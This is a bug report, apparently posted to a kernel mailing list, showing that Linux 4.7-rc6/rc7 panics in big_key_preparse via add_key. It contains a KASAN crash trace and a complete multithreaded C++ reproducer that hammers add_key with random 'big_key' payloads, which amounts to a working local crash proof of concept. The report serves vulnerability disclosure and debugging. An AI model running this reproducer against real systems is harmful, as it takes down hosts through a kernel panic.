panic at big_key_preparse #4.7-r6/rc7 & master

[<zer0mem () yahoo com>]

Hi,

Following code will panic 4.7-rc6/rc7 & master

However will not panic at latest stable 4.6.4 kernel apparently


qemu + kasan

“””

/*

author : @zer0mem

Qilin : v3.2 [ linux ]
Reproducer : v1.0

KASAN : active
KTSAN : non-active

Linux Kernel version : 4.7

compile : clang++-3.8 -std=c++1y poc.cpp -lpthread -o big_key_poc

issue : add_key -> "big_key"

[94011.624218] kasan: CONFIG_KASAN_INLINE enabled
[94011.624507] kasan: GPF could be caused by NULL-ptr deref or user memory access
[94011.624930] general protection fault: 0000 [#1] SMP KASAN
[94011.625234] Modules linked in:
[94011.625421] CPU: 0 PID: 13245 Comm: a.out Tainted: G    B           4.7.0-rc6+ #9
[94011.625837] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[94011.626363] task: ffff880013b1d580 ti: ffff8800693d8000 task.ti: ffff8800693d8000
[94011.626778] RIP: 0010:[<ffffffff819e6e64>]  [<ffffffff819e6e64>] big_key_preparse+0x1a4/0x540
[94011.627262] RSP: 0018:ffff8800693dfc90  EFLAGS: 00010206
[94011.627559] RAX: dffffc0000000000 RBX: ffff8800693dfdc8 RCX: 0000000000000000
[94011.627956] RDX: 0000000000000009 RSI: 0000000000000000 RDI: 0000000000000048
[94011.628356] RBP: ffff8800693dfcc8 R08: ffffed000d27bfc2 R09: ffff8800693dfdc8
[94011.628752] R10: ffff8800693dfe0f R11: ffffed000d27bfc2 R12: 0000000000000000
[94011.629149] R13: 0000000000000f50 R14: ffff8800693dfe48 R15: ffff8800693dfdf0
[94011.629547] FS:  00007faf577fe700(0000) GS:ffff88006d200000(0000) knlGS:0000000000000000
[94011.629994] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[94011.630361] CR2: 0000000000609000 CR3: 000000006a9bd000 CR4: 00000000000006f0
[94011.630812] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[94011.631223] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[94011.631633] Stack:
[94011.631755]  ffff8800693dfdc8 0000000000000048 ffffffff819e6cc0 1ffff1000d27bfa5
[94011.632349]  ffffffffffffffec ffff8800693dfe48 ffff88005098b400 ffff8800693dfe70
[94011.633063]  ffffffff819d5a81 0000000000000004 ffff8800693dfd30 ffff8800693dfdc8
[94011.633550] Call Trace:
[94011.633702]  [<ffffffff819e6cc0>] ? big_key_crypt+0x2a0/0x2a0
[94011.634034]  [<ffffffff819d5a81>] key_create_or_update+0x361/0xa00
[94011.634389]  [<ffffffff819d5720>] ? key_type_lookup+0xe0/0xe0
[94011.634719]  [<ffffffff815c3609>] ? ___slab_alloc+0x179/0x4c0
[94011.635050]  [<ffffffff815c5643>] ? __kmalloc+0x103/0x250
[94011.635360]  [<ffffffff819da6e4>] SyS_add_key+0x1f4/0x390
[94011.635671]  [<ffffffff819da4f0>] ? key_get_type_from_user.constprop.8+0xe0/0xe0
[94011.636106]  [<ffffffff81083d40>] ? compat_start_thread+0x90/0x90
[94011.636457]  [<ffffffff82d36af6>] entry_SYSCALL_64_fastpath+0x1e/0xa8
[94011.636823] Code: 5c 41 5d 41 5e 41 5f 5d c3 e8 89 f1 98 ff 4c 8b 25 32 cb 47 02 48 b8 00 00 00 00 00 fc ff df 49 8d 
7c 24 48 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 78 03 00 00 4d 8b 64 24 48 48 b8 00 00 00 00 
[94011.638412] RIP  [<ffffffff819e6e64>] big_key_preparse+0x1a4/0x540
[94011.638775]  RSP <ffff8800693dfc90>
[94011.639205] ---[ end trace 0255e2496c208fbf ]---
[94011.639474] Kernel panic - not syncing: Fatal exception
[94011.639855] Kernel Offset: disabled
[94011.640066] ---[ end Kernel panic - not syncing: Fatal exception

*/

#include <stdint.h>

#include <memory>
#include <algorithm>
#include <functional>
#include <string>
#include <atomic>
#include <stdlib.h>
#include <vector>
#include <stdlib.h>
#include <stdio.h>

#include <thread>

#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <fcntl.h>

#include <keyutils.h>

int handles[0x10] = { 0 };
char buffer[0x1000] = { 0 };

bool rand01() { return std::rand() % 2; }

void shaka()
{
        for (size_t i = 0; i < sizeof(buffer); ++i)
                buffer[i] = std::rand() % 0xFF;

        while (true)
        {
                for (size_t i = std::rand() % sizeof(buffer); i < sizeof(buffer); ++i)
                        buffer[i] = std::rand() % 0xFF;

                sleep(std::rand() % 10);
        }
}

void workers(int fd)
{
        size_t max_round = 40 + std::rand() % 200;
        for (size_t i = 0; i < max_round; i++)
        {
                switch(std::rand() % 1)
                {
                        case 0 :
                        {
                                add_key(
                                        rand01() ? "user" : "big_key",
                                        0,
                                        buffer,
                                        std::rand() % sizeof(buffer),
                                        handles[std::rand() % 0x10]);

                        } break;

                        default:
                                break;
                }               
        }
}

void ctors(int ind)
{
        handles[ind] = 0;
        while (!handles[ind])
        {
                switch(std::rand() % 1)
                {
                        case 0 :
                        {
                                handles[ind] = add_key(
                                        rand01() ? "user" : "big_key",
                                        0,
                                        buffer,
                                        std::rand() % sizeof(buffer),
                                        handles[std::rand() % 0x10]);
                        } break;

                        default:
                                break;
                }
        }
        int fd = handles[ind];
        for (size_t i = 0; i < 20; ++i, sleep(1 + std::rand() % 4))
                for (size_t j = std::rand() % 4; j; --j)
                        workers(fd);
}

int main()
{
        std::thread(shaka).detach();
        for (;; sleep(std::rand() % 4))
                std::thread([]()
                        {
                        for (size_t i = 0; i < 0x10; ++i)
                                std::thread(ctors, i).detach();         
                        }).detach();
        
        return 0;
};

#include <asm/unistd.h>

#define __weak __attribute__((weak))

key_serial_t __weak add_key(const char *type,
                            const char *description,
                            const void *payload,
                            size_t plen,
                            key_serial_t ringid)
{
        return syscall(__NR_add_key,
                       type, description, payload, plen, ringid);
}


“””

Peter

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